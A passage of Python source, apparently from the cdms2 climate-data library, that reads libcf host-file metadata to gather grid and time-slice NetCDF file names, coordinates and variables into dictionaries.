                                                            fName_ct)
                    timeFilenames.append(fName_ct.value)
                    f = cdms2.open(fName_ct.value, 'r')
                    varNames = f.listvariable()
                    for vn in varNames:
                        # Add coordinate names a local list of coordinates
                        if 'coordinates' in dir(f[vn]):
                            for coord in f[vn].coordinates.split():
                                if coord not in coordinates:
                                    coordinates.append(coord)
                        if vn not in self.timeVars:
                            # allocate
                            self.timeVars[vn] = \
                                [["" for it in range(self.nTimeSliceFiles)]
                                 for ig in range(self.nGrids)]
                        # set file name
                        self.timeVars[vn][gfindx][tfindx] = fName_ct.value
                    f.close()

        # Grid names and data. Must come after time and static file dictionaries
        # because they define the coordinates.
        for gfindx in range(self.nGrids):
            status = libcfdll.nccf_inq_host_gridfilename(
                self.hostId_ct, gfindx, fName_ct)
            status = libcfdll.nccf_inq_host_gridname(self.hostId_ct, gfindx,
                                                     gName_ct)

            varNames = cdms2.open(fName_ct.value, 'r').listvariable()
            for vn in varNames:
                if vn in coordinates:
                    if vn not in list(self.gridVars.keys()):
                        self.gridVars[vn] = []
                        self.gridName[vn] = []

                    self.gridVars[vn].append(fName_ct.value)
                    self.gridName[vn].append(gName_ct.value)

        # Populate the variables dictionary, avoid the grids
        self.variables = {}
        for item in list(self.statVars.keys()):
            self.variables[item] = StaticFileVariable(self, item)
        for item in list(self.timeVars.keys()):
            self.variables[item] = TimeFileVariable(self, item)